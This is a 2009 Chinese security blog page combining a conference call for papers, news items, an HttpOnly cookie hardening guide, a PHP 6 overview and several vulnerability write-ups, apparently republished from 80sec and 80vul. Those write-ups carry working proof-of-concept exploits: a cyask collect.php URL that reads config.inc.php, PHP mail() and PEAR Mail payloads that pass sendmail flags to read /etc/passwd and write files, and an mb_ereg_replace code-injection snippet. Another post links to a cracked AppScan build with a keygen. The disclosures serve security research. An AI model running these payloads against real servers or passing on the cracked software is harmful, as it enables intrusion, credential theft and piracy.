XCon2009 安全焦点信息安全技术峰会议题征集函

中国,北京,2009年8月18~19日 (http://xcon.xfocus.net)

XCon 秉承一贯的严谨求实作风竭诚欢迎热爱信息安全技术的人员积极投稿,参加会议,共享精彩盛会。

参加会议对象:
任何热爱信息安全的人士,包括如信息安全专家,信息安全爱好者, 网络
管理工程师,网络安全顾问, CIO,黑客技术发烧友等。

会议地点: 北京歌华开元大酒店 ( http://www.kaiyuanhotels.com/jiudian/beijing_index.asp )

征文范围 (不限于所列方向):
—新领域安全
- Vista 安全 / Windows & 安全
- Web 2.0安全技术
- 3G/4G网络,TD-SCDMA网络安
- 移动手持设备安全 Symbian / IPhone / Android / Windows Mobile 安全
- 银行金融安全
- 企业信息系统安全
- 虚拟化技术
- 最新漏洞挖掘技术

— 应用安全
- Web 应用程序弱点研究
- 应用程序反向工程和相关自动工具
- 数据库安全和攻击
- 协议安全利用
- 高级木马、蠕虫、后门技术
- 加密和破解技术
- 路由器设备安全

— 入侵检测/取证分析
- 文件系统分析和恢复
- 实时结构数据恢复
- 反向工程 (恶意代码分析技术,弱点研究)
- 入侵检测和反检测技术
- 流量分析

— 无线和VoIP 安全
- 802.11x, CDPD, Bluetooth, WAP/TD-SCDMA, GSM, SMS
- PDA 和移动电话协议分析
- Palm, Pocket Pc安全
- Wireless 网关
- VoIP 安全和弱点分析
- WLANs 加固、弱点分析

—P2P 技术
- 即时通信工具(QQ,MSN, Skype, ICQ 等)
- P2P 应用(BT,Emule,迅雷等)

征文提交事宜:

提交的征文必须包含如下信息:
1) 对要作演讲的题材进行简单的描述及说明之前是否发布,发布的范围。
2) 对演讲者自身和工作经历描述。
3) 演讲者联系信息:全名,别名,国籍,网络昵称,e-mail, 电话,传真,
目前工作地点和相关公司,任何即时聊天的方式(QQ,MSN, ICQ, YM, AIM 或者其他).
4) 演讲过程中所需细节:
- 演讲需要多长时间
- 是否发布新的工具
- 是否发布新漏洞
- 是否需要发布新的Exploit 代码
5) 所有征文必须包含PPT(演讲使用)和WORD(细节描述),可以以MS
Office , OpenOffice 格式提交。

所有征文通过cfp@huayongxingan.com提交,供XCon组织者筛选,征文投稿最后截
止日期定于2009年7月10日,最后确认是否收录时间为2009年7月18日,投
稿自收到之日起5个工作日内,将给出准确的答复,无论您的议题是否被收
录,我们都将会通过您留下的联系方式告知您。

征文相关重要日期:
*最后提交日期 – 2009年7月10日
*最后确认通知 – 2009年7月18日

演讲者待遇:
如果您的稿件被我们XCon收录,意味着您将在XCon会议上单独发表演讲,
XCon 将会提供演讲者包含
- 往返程经济舱飞机票,限一人(外宾旅费封顶1200USD)
- 2 天会议期间的酒店住宿费用
- 2 天会议期间的早餐、中餐、及晚餐
- 被邀请参加庆祝酒会
- 并且我们将会组织演讲者在会后的一天游览中国北京的一些名胜古迹,品尝
中国的风味特色食品。
- 可参与抽奖活动
注:
- 演讲者必须提供相关票据或凭证。
- 所有相关会议解释权归XCon会议组织者所有。

关于会议更多信息、细节及咨询,可以联系至信给如下信箱:xcon@xfocus.org,xcon@huayongxingan.com
或专门的XCon2009会议组织者MSN: xfocusxcon@hotmail.com,电话:086-010-62029792

申请参会:

您可以通过XCon网站(http://xcon.xfocus.net)注册或直接联系我们组织者(联系方式见上)申请参
加会议,我们将给根据预定申请时间的早晚提供不同的折扣。参会者食宿自理,XCon将为参会者预定酒店
等服务。

其他信息:

你可以浏览http://xcon.xfocus.org/查看演讲者信息、会议安排、XCon
之前会议的相关文档和信息,任何有关XCon的会议信息,将在XCon和XFocus
站点发布,请大家密切关注。

非常感谢您对XCon 的支持!

五月 12th, 2009

海盗湾创始人发起DDo$攻击

1 Comment, 业界咨询, by Neeao, 511 views.

以BT下载而闻名的海盗湾网站在三周之前刚刚被瑞典法院判决有罪,四名管理员将面临一年的监禁,同时需赔偿原告3千万瑞典克朗。海盗湾创始人声称他们不会交付罚款。

现在,海盗湾的创始人之一Gottfrid Svartholm提出了一个方法来对付罚款问题,他鼓励所有海盗湾的用户向唱片公司的法律代表Danowsky律师事务所支付1瑞典克朗(约合0.87 元人民币),在支付之后用户可以用“支付错误”为由让事务所退钱。这样一来该事务所将面临巨大的麻烦,他们不仅需按照规定处理小额支付,而且还拿到不到一 分钱。

海盗湾创始人将这种攻击方式称之为DDo$攻击(分布式拒绝金钱攻击),根据规定,瑞典银行账户可以免费转账1000次,超过此限额后就必须为转账支付2瑞典克朗。所以互联网用户向该律师事务所支付1000次之后,该律师事务所就需要为每次多收到的钱额外付出2瑞典克朗。

如果攻击成功,这家唱片公司的法律代表将面临时间和金钱的双重损失。

五月 11th, 2009

常用Web开发语言HttpOnly设置详解

1 Comment, 个人作品, by Neeao, 433 views.

———————————-
by:Neeao

Http://www.neeao.com
2009-05-11
———————————–

关于HttpOnly对于防范XSS来获取 cookies信息的分析,请参考剑心同学写的:利用httponly提升应用程序安全性,这里仅把常用的一些Web开发语言的设置方法整理总结下,备用。

javaEE中的设置

API中没有提供具体的操作方法或者函数属性来设置,不知道后续版本是否会提供,下面为变通设置方法:

————————————————————————————–

response.setHeader(“Set-Cookie”, “cookiename=value;
Path=/;Domain=neeao.com;Max-Age=seconds;HTTPOnly”);

————————————————————————————–

ASP.NET中的设置
  .net2.0以上版本支持在Web.config文件中来配置全局的httponly,设置如下,在web.config中添加一个节点即可:
  ------------------------------------------------------------------
   <httpCookies httpOnlyCookies="true" />
  ------------------------------------------------------------------
  .net2.0以上版本cookie对象中,直接有一个HttpOnly的参数供调用,使用方法如下:
  C#代码:
  ------------------------------------------------------------------
  HttpCookie myCookie = new HttpCookie("myCookie");
  myCookie.HttpOnly = true;
  Response.AppendCookie(myCookie);
  -------------------------------------------------------------------
  vb.net代码
  -------------------------------------------------------------------
  Dim myCookie As HttpCookie = new HttpCookie("myCookie")
  myCookie.HttpOnly = True
  Response.AppendCookie(myCookie)
  -------------------------------------------------------------------
  在asp.net1.1中也可以设置全局的cookies HttpOnly,在全局文件Global.asax的application节点的 Application_EndRequest事件中添加:
  -------------------------------------------------------------------
  protected void Application_EndRequest(Object sender, EventArgs e)

  {
       string authCookie = FormsAuthentication.FormsCookieName;
       foreach (string sCookie in Response.Cookies)
       {
          if (sCookie.Equals(authCookie))
          {
               Response.Cookies[sCookie].Path += ";HttpOnly";
           }
      }
  }
  -------------------------------------------------------------------
  在代码中写的话,就需要这样来添加了:
  --------------------------------------------
  Response.Cookies[cookie].Path += ";HTTPOnly";
  ---------------------------------------------
PHP中的设置
  PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中
  -----------------------------------------------------
  session.cookie_httponly =
  -----------------------------------------------------
  设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:
  -----------------------------------------------------
  <?php
  ini_set("session.cookie_httponly", 1);
  // or
  session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
  ?>
  -----------------------------------------------------
  Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:
  -------------------------------------------------------
  setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
  setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
  -------------------------------------------------------
  对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:
  -------------------------------------------------------------
  <?php
  header("Set-Cookie: hidden=value; httpOnly");
  ?>
  -------------------------------------------------------------

Asp中的设置
 asp的内置对象中没有提供相关方法,只能变通来实现了:
  -----------------------------------------------------

<%
‘**************************************************
‘ASP 中输出httponly cookie IE6.0以上浏览器支持
‘WDFrog
‘2009-04-15
‘<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
‘**************************************************

‘———-SetHttpOnlyCookie—————————————-
‘功能:设置HttpOnly Cookie
‘参数:expDate 为保到期, 0表示不设置,设置为过去某一时间表示清除
‘参数:domain 为空(string.Empty)表示不设置
‘——————————————————————-
Function SetHttpOnlyCookie(cookieName,cookieValue,domain,path,expDate)
Dim cookie
cookie=cookieName & “=” & Server.URLEncode(cookieValue) & “; path=” & path
If expDate <> 0 Then
cookie=cookie & “; expires=” & DateToGMT(expDate)
End If

If domain <> “” Then
cookie=cookie & “; domain=” & domain
End If

cookie=cookie & “; HttpOnly”

Call Response.AddHeader (“Set-Cookie”, cookie)
End Function

‘————-getGMTTime————
‘参数: sDate 需要转换成GMT的时间
‘———————————
Function DateToGMT(sDate)
Dim dWeek,dMonth
Dim strZero,strZone
strZero=”00″
strZone=”+0800″
dWeek=Array(“Sun”,”Mon”,”Tue”,”Wes”,”Thu”,”Fri”,”Sat”)
dMonth=Array(“Jan”,”Feb”,”Mar”,”Apr”,”May”,”Jun”,”Jul”,”Aug”,”Sep”,”Oct”,”Nov”,”Dec”)
DateToGMT = dWeek(WeekDay(sDate)-1)&”, “&Right(strZero&Day(sDate),2)&” “&dMonth(Month(sDate)-1)&” “&Year(sDate)&” “&Right(strZero&Hour(sDate),2)&”:”&Right(strZero&Minute(sDate),2)&”:”&Right(strZero&Second(sDate),2)&” “&strZone
End Function
‘参考
‘Call SetHttpOnlyCookie(“cookieOnly1″,”onlyValue”,”.gyzs.com”,”/”,0)

%>

  ----------------------------------------------------
参考文献:
1.http://www.owasp.org/index.php/HTTPOnly
2.http://blogs.msdn.com/dansellers/archive/2006/03/13/550947.aspx
3.http://ilia.ws/archives/121-httpOnly-cookie-flag-support-in-PHP-5.2.html
4.http://www.asp101.com/tips/index.asp?id=160
5.http://www.cnblogs.com/wdfrog/archive/2009/04/15/1436493.html

五月 8th, 2009

PHP 6 的新特性

1 Comment, 业界咨询, by Neeao, 252 views.

PHP的下一个版本,V6,包含了很的新特性和语法改进,会使它在面向对象方面性更易用。
其他重要的特性:比如在核心函数中对Unicode (统一编码)的支持,这意味着 PHP 6提供了更好的更可靠国际支持。

PHP已经很流行,被无数的站点使用(编者注:包括夜郎社区在内,也是由PHP编写),被大部分因特网接入商所支持,被Yahoo这样的大网络公司 使用着。在即将来临的PHP版本中准备增加一些成功的新特性,使PHP在某些场合下更易用更安全。你准备好接受 PHP 6 了吗?如果你明天就升级了,你的程序会运行得很好吗?你该怎么办?这篇文章集合了PHP 6的改变,他们中的一些备份移植到版本的PHP v5.x,您目前的脚本可能需要进行一些调整。

如果你现在使用不是PHP,但是一直在考虑它,考虑一下它的新特性。这些特点,从Unicode的核心支持到XML支持,使它更容易为你写的功能填补PHP的应用。

PHP 6 新特性

PHP 6当前已经作为开发者快照使用,所以你可以下载和试用一下这篇文章列出很多特性,这些特性已经在当前的快照中实现了。见资源。

改进 Unicode 支持

在PHP的核心函数中,有很多对Unicode 字符串的支持的改进,这些新特性将产生巨大的影响因为它允许PHP为国际字符提供更多的支持。所以如果一个开发者或者架构师使用不同的语言,例如Java程序语言,是因为它具有超过PHP的国际化支持的话,当支持改进时他会花一点时间来考虑一下PHP。

因为今天你已经可以下载到开发者版本的 PHP V6,你将看到一些功能函数已经支持Unicode字符串。有一个函数清单已经被测试和验证了完全可以处理Unicode,参见资源。

命名空间

命名空间是一种避免因函数或者类之间的命名冲突而使你的函数和类以及方法无法读取,而不使用前缀命名惯例的一种方法。因此,通过使用命名空间,你可以命名别人可能已经使用的类名,而不用担心在运行时会出错。表一提供了一个在PHP中使用命名空间的示例。

您不用在源代码中做更新或更改,因为你写的任何PHP代码可以不包含命名空间而运行得很好。因为命名空间特性似乎会移植到PHP 5.3 X中,如果它可以使用,您可以在自己的程序中引用命名空间。

表一,命名空间示例

<?php
// I’m not sure why I would implement my own XMLWriter, but at least
// the name of this one won’t collide with the one built in to PHP
namespace NathanAGood;
class XMLWriter
{
// Implementation here…
}

$writer = new NathanAGood::XMLWriter();

?>

Web 2.0 特性

依赖于你怎么使用PHP和你现在脚本的是什么样子的,现在的语言和语法差异,可能会或者不会最大程度的影响下面一些特性,这是指那些直接让你引用的Web 2.0功能到你的PHP应用程序。

SOAP

SOAP 是一种网络服务“说话”的协议,并且支持不少其他语言,例如Java和微软的.NET,虽然有其他的方法来驱动和使用网络服务,比如 表象化状态转变(Representational State Transfer )REST,SOAP仍然在使不同平台具有可操作性中是最常用的。此外,SOAP在PHP扩展和PEAR库中使用,SOAP在PHP中默认是不支持的,因 此你启用这个扩展或者叫你的ISP启用。此外,PEAR包允许你建立SOAP客户端和服务器,如SOAP包。

如果你改变了默认设置,SOAP将会在PHP 6中启用。这个扩展将提供你很容易的的实现SOAP客户端和SOAP服务,允许你编写的应用提供使用或者网络服务。

如果SOAP扩展是默认设置,那就意味着你不能在PHP中设置它们,如果您开发的PHP应用程序并且它们发布到一个ISP服务器上,您可能需要检查一下你的ISP,以验证SOAP并启用为他们升级。

XML

在PHP 5.1中XMLReader 和XMLWriter已经变成PHP核心的一部分,这使你工作起来更轻松如果在你的PHP程序中需要使用到XML的话。和SOAP扩展一样,如果你使用SOAP或者XML这是个好消息因为PHP 6比已经出炉的PHP4 更适合你。

被删除的东西

除 了具有的一些新功能,PHP 6引擎将删除一些在前面版本中已经有的功能。大部分这些功能,如register_globals 和safe_mode 在目前的PHP中被视为“破的”。因为他们可能会暴露一些安全风险。PHP在努力的清除中,在下一个版本中这些将从PHP中删除或者废弃。反对者认为大部 分ISP或者企业会保留现在的脚本因为升级到PHP6会破坏现在的的脚本,但是支持者认为很高兴看到PHP团队修补了这些漏洞,并且提供了一个干净,安全 的运行工具。

将从PHP删除的功能有:

magic_quotes register_globals register_long_arrays safe_mode

终于被我找到了,share下。

IBM Rational AppScan Enterprise Edition 7.7.654安装程序、破解文件及注册机可升级(已测试)分七个部分,请分别下载然后放到同一文件夹中解压

http://download.csdn.net/source/840431
http://download.csdn.net/source/840498
http://download.csdn.net/source/840544
http://download.csdn.net/source/840569
http://download.csdn.net/source/840606
http://download.csdn.net/source/840643
http://download.csdn.net/source/840657

By:linkboy

昨天在晚上看到了一个这样的文章,却没有人说利用的方法,自己研究了一下,原来这么简单。
下面是这篇文章的内容。

下午帮同事看一个站,DZ的论坛,该补的都补了,咱也没圈day
然后逛了下有个仿百度知道的程序在上面,和DZ整合了,原以为也是Dz开发的,估计也没啥问题
下来看代码,看到collect.php
——————————-
else
{
/*
检查网址
*/
$url=get_referer();
$neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);

$collect_url=empty($neturl) ? $url : $neturl;

$contents = ”;
if($fid=@fopen($collect_url,”r“))
{
do
{
$data = fread($fid, 4096);
if (strlen($data) == 0)
{
break;
}
$contents .= $data;
}
while(true);
fclose($fid);
}
else
{
show_message(‘collect_url_error’, ”);
exit;
}
———————————-
害人啊,本来还挺安全的一个站,整合个毛呃……

找一个cyask的网站,在其上面注册,然后登录后,输入http://www.×××.com/collect.php?neturl=config.inc.php 在内容快照里面点右键,点查看源文件,哇,什么都看到了,我只是说出来利用方法,希望大家尽早补漏洞。一切损失与本人无关哦!

五月 8th, 2009

php mail function open_basedir bypass

No Comments, 安全防护, by Neeao, 86 views.

漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程 序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意 文件,结合应用程序上下文也可能导致文件读写漏洞。
漏洞分析:php的Mail函数在php源码里以如下形式实现:


......
if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE.");
RETURN_FALSE;
}

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sss|ss”,
&to, &to_len,
&subject, &subject_len,
&message, &message_len,
&headers, &headers_len,
&extra_cmd, &extra_cmd_len
) == FAILURE) {
return;
}
……

if (force_extra_parameters) {
extra_cmd = estrdup(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}

if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
…..

在php_mail中


PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
{
....
FILE *sendmail;
int ret;
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;

….
if (extra_cmd != NULL) {
sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, ” “);
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
….
/* Since popen() doesn’t indicate if the internal fork() doesn’t work
* (e.g. the shell can’t be executed) we explicitely set it to 0 to be
* sure we don’t catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, “w”);

如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经 过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现 sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受 open_basedir等限制。

漏洞测试:

<?php
$to = 'jianxin@80sec.com'.str_repeat("x",10000);
$subject = 'the subject'.str_repeat("x",10);
$message = 'hello'.str_repeat("x",10);
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd");
?>

本站内容均为原创,转载请务必保留署名与链接!
php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html

author: ryat#wolvez.org
team:http://www.80vul.com
date:2009-04-30

一 描叙

mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:

string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option= "msr" ] )

当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php 代码被执行,但php在处理这一过程中,存在安全隐患,可能导致绕过程序的逻辑执行任意代码,另外程序员对正则匹配替换认识不够[包括 preg_replace等函数],容易饶过安全限制,导致安全漏洞.

二 分析

mb_ereg_replace()的代码:

// php_mbregex.c
PHP_FUNCTION(mb_ereg_replace)
{
	_php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
...
static void _php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAMETERS, OnigOptionType options)
{
...
	smart_str out_buf = { 0 };
	smart_str eval_buf = { 0 };
	smart_str *pbuf;
...
		if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Zss|s",
									&arg_pattern_zval,
									&replace, &replace_len,
									&string, &string_len,
									&option_str, &option_str_len) == FAILURE) {
			RETURN_FALSE;
		}
...
	re = php_mbregex_compile_pattern(arg_pattern, arg_pattern_len, options, MBSTRG(current_mbctype), syntax TSRMLS_CC);
// 编译模式,编译后的模式存储在re_pattern_buffer结构
...
	if (eval) {
		pbuf = &eval_buf;
		description = zend_make_compiled_string_description("mbregex replace" TSRMLS_CC);
	} else {
		pbuf = &out_buf;
		description = NULL;
// *pbuf,eval_buf,out_buf都是smart_str结构,结构说明如下:
// typedef struct {
// 	char *c;
// 	size_t len;
// 	size_t a;
// } smart_str;
	}

	/* do the actual work */
	err = 0;
	pos = string;
	string_lim = (OnigUChar*)(string + string_len);
	regs = onig_region_new();
// 分配内存,初始化re_registers结构,用于存储模式匹配值[num_regs成员为子模式匹配值个数,beg成员为模式及子模式匹配值的开始位,end成员为结束位]
	while (err >= 0) {
		err = onig_search(re, (OnigUChar *)string, (OnigUChar *)string_lim, pos, (OnigUChar *)string_lim, regs, 0);
// 依据编译好的模式进行匹配
...
			/* copy the part of the string before the match */
			smart_str_appendl(&out_buf, pos, (size_t)((OnigUChar *)(string + regs->beg[0]) - pos));
// 添加模式匹配值开始前的部分[用于函数的返回值]
			/* copy replacement and backrefs */
			i = 0;
			p = replace;
			while (i < replace_len) {
				int fwd = (int) php_mb_mbchar_bytes_ex(p, enc);
				n = -1;
				if ((replace_len - i) >= 2 && fwd == 1 &&
					p[0] == '\\' && p[1] >= '0' && p[1] <= '9') {
					n = p[1] - '0';
				}
				if (n >= 0 && n < regs->num_regs) {
					if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {
						smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]);
// 如果使用逆向引用且存在相应的[子]模式匹配值,就调用smart_str_appendl添加[子]模式匹配值[调用memcpy把值copy到pbuf->c+pbuf->len]
					}
				} else {
					smart_str_appendl(pbuf, p, fwd);
					p += fwd;
					i += fwd;
				}
			}
...
			if (eval) {
				zval v;
				/* null terminate buffer */
				smart_str_appendc(&eval_buf, '\0');
				/* do eval */
				if (zend_eval_string(eval_buf.c, &v, description TSRMLS_CC) == FAILURE) {
					efree(description);
					php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, eval_buf.c);
					/* zend_error() does not return in this case */
				}

// 如果option指定为e,就调用zend_eval_string处理eval_buf.c,也就是pbuf->c[先编译成opcode,在调用zend_execute处理opcode]
//上面的代码mb_ereg_replace对所捕获的子模式的匹配值没有安全处理,直接调用zend_eval_string执行replace后的值.
//这样将引来一些安全隐患:比如可以引入'来闭合之前的' ,另外我们也可以引入nullbyte来截断后面的代码[zend_eval_string是not binary safe的]:)

为了对比说明这个安全漏洞我们同样来分析下preg_replace()在/e下执行php代码的处理过程:

//preg_replace()
...
			if (eval) {
				eval_result_len = preg_do_eval(replace, replace_len, subject,
											   offsets, count, &eval_result TSRMLS_CC);
// 在e修正符模式下调用preg_do_eval
...
static int preg_do_eval(char *eval_str, int eval_str_len, char *subject,
						int *offsets, int count, char **result TSRMLS_DC)
{
...
	smart_str    code = {0};

	eval_str_end = eval_str + eval_str_len;
	walk = segment = eval_str;
	walk_last = 0;

	while (walk < eval_str_end) {
		/* If found a backreference.. */
		if ('\\' == *walk || '$' == *walk) {
			smart_str_appendl(&code, segment, walk - segment);
			if (walk_last == '\\') {
				code.c[code.len-1] = *walk++;
				segment = walk;
				walk_last = 0;
				continue;
			}
			segment = walk;
			if (preg_get_backref(&walk, &backref)) {
				if (backref < count) {
					/* Find the corresponding string match and substitute it
					   in instead of the backref */
					match = subject + offsets[backref<<1];
					match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
					if (match_len) {
						esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC);
// 如果使用逆向引用且存在相应的[子]模式匹配值,就对所捕获的[子]模式匹配值调用php_addslashes_ex
...
				smart_str_appendl(&code, esc_match, esc_match_len);
// 添加[子]模式匹配值
...
	smart_str_appendl(&code, segment, walk - segment);
	smart_str_0(&code);

	compiled_string_description = zend_make_compiled_string_description("regexp code" TSRMLS_CC);
	/* Run the code */
	if (zend_eval_string(code.c, &retval, compiled_string_description TSRMLS_CC) == FAILURE) {
		efree(compiled_string_description);
		php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, code.c);
		/* zend_error() does not return in this case */
	}
// 调用zend_eval_string处理code.c

preg_replace()函数一样对所捕获的模式匹配值调用php_addslashes_ex.

三 测试代码:

<?php
//mb_ereg(i)_replace() evaluate replacement string vulnerability
function ryat() {}

$str = '\', phpinfo(), \'';
mb_ereg_replace('^(.*)$', 'ryat(\'\1\')', $str, 'e');

?>

四 其延伸出的正则应用安全问题

从上面对mb_ereg_replace()代码分析看看出mb_ereg_replace()函数整个处理过程可以简单描述为:

检查参数,编译pattern,依据编译后的pattern对string进行匹配,如果存在匹配值[没有模式匹配值,则把string作为返回值 并返回],把string中模式匹配值前面的部分添加到返回值,对模式匹配值进行替换,如果replacement中使用逆向引用且存在相应的[子]模式 匹配值,替换replacement中的逆向引用[注意这里没对替换的模式及子模式匹配值做任何处理,另外这里其实并非替换,具体处理过程请看上面的源 码].如果option没有指定e,就把replacement添加到返回值;如果指定e,把replacement作为php代码执行,并把代码执行后 的返回值添加到返回值.把string中模式匹配值后面的部分添加到返回值.返回返回值.

通过对mb_ereg_replace()正则替换流程的分析及很多的应用程序的代码分析,发现很多程序员对正则表达式替换函数[包括preg_replace等函数]的处理过程不了解可能导致一些逻辑错误.

测试如下代码:

<?php
$onlineip = 'ryat';
echo $onlineip = preg_replace("/^([\d\.]+).*/", "\\1", $onlineip);
?>

上面的代码直接输出ryat了,这个是由于正则替换时,当不匹配时,就返回原值的了.

来思考下这个问题的修补,比如:

<?php
$onlineip = 'ryat';
echo $onlineip = preg_replace("/^([\d\.]*).*/", "\\1", $onlineip);
?>

输出为空了,因为这个正则可以匹配$onlineip,所以这里会返回\1对应的子模式匹配值,好像完美的fix了?其实还可以绕过:

<?php
$onlineip = "\nryat";
// $onlineip = "ryat\nryat";
echo $onlineip = preg_replace("/^([\d\.]*).*/", "\\1", $onlineip);
?>

因为在没有用s模式修正符下.是不匹配的\n的,所以\nryat部分不被正则匹配,将会作为返回值[或者返回值的一部分]返回:)

五 实际应用

暂缺

微软本周四称,犯罪分子已经开始利用刚刚发布的Windows 7的陷阱版本实施攻击.微软全球正版Windows部门总经理Joe Williams在微软官方网站发表的一篇采访文章中称,用户从可信赖的来源获取正版的Windows是非常重要的.
Williams说,最近几天,我们看到一些报道称,有人非法地发布我们最新发布的Windows 7候选发布版,其目的是利用恶意软件感染用户的PC.微软Windows 7候选发布版本周二向全球发布,为人们评价这个操作系统的好与坏提供一个机会.

微软称,Windows 7内置的反盗版保护功能可以阻止盗版的Windows 7的传播.据Williams说,Windows 7的反盗版技术是以Vista内置的技术为基础的.例如,当非授权的软件窥探计算机的时候,就会弹出一个对话框向用户报警.

Williams说,采用Windows Vista,我们在减少盗版软件对客户、合作伙伴和微软软件的威胁方面取得了很大的进步.我们预计Windows 7将做得更好.

Williams说,微软的研究表明,微软的全球用户有三分之一使用盗版的Windows.我们看到许多这样的案例.用户要购买正版的Windows并且确实认为自己购买了正版的Windows,结果却成了盗版软件的受害者.

五月 8th, 2009

php pear mail包任意文件读写漏洞

No Comments, 安全防护, by Neeao, 108 views.

漏洞介绍:PEAR是PHP的官方开源类库, PHP Extension and Application Repository的缩写。PEAR将PHP程序开发过程中常用的功能编写成类库,涵盖了页面呈面、数据库访问、文件操作、数据结构、缓存操作、网络协 议等许多方面,用户可以很方便地使用。它是一个PHP扩展及应用的一个代码仓库,简单地说,PEAR就是PHP的cpan。但是80sec发现,Pear 的Mail模块存在安全漏洞,某些情况下将导致用户以webserver权限在主机上读写操作系统任意文件,继而控制主机执行php代码等。
漏洞分析:PEAR的Mail包错误地使用escapeShellCmd来过滤传入到sendmail命令的用户参数,用户提交精心构造的参数即可调用sendmail的其他参数,即可在操作系统上读写任意文件。


Sendmail.php

……
if (!isset($from)) {
return PEAR::raiseError(‘No from address given.’);
} elseif (strpos($from, ‘ ‘) !== false ||
strpos($from, ‘;’) !== false ||
strpos($from, ‘&’) !== false ||
strpos($from, ‘`’) !== false) {
return PEAR::raiseError(‘From address specified with dangerous characters.’);
}

$from = escapeShellCmd($from);
$mail = @popen($this->sendmail_path . (!empty($this->sendmail_args) ? ‘ ‘ . $this->sendmail_args : ”) . ” -f$from — $recipients”, ‘w’);
if (!$mail) {
return PEAR::raiseError(‘Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
}
……

可以看到 $from 变量的过滤并不完全,由于escapeShellCmd会将\等字符替换为空,即可绕过对空格的检查,而escapeshellcmd本身并不检查对于参数的调用,所以导致安全漏洞的发生。

漏洞测试:


<?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . “\r\n”;
$to = “xxxxxxx@zzzz.com”;
$subj = “subscription request”;
$body = “subscribe me”;
$hdrs = array(
“To” => $to,
“Cc” => $cc,
“Bcc” => $bcc,
“From” => $from,
“Subject” => $subject,
);
$body=”test”;
$mail =& Mail::factory(’sendmail’);
$mail->send($to, $hdrs, $body);
?>

http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3

即可看到此漏洞的利用。

漏洞影响:所有PEAR的Mail函数包
漏洞状态:通知官方

本站内容均为原创,转载请务必保留署名与链接!
php pear mail包任意文件读写漏洞:http://www.80sec.com/php-pear-mail-package-security-hol.html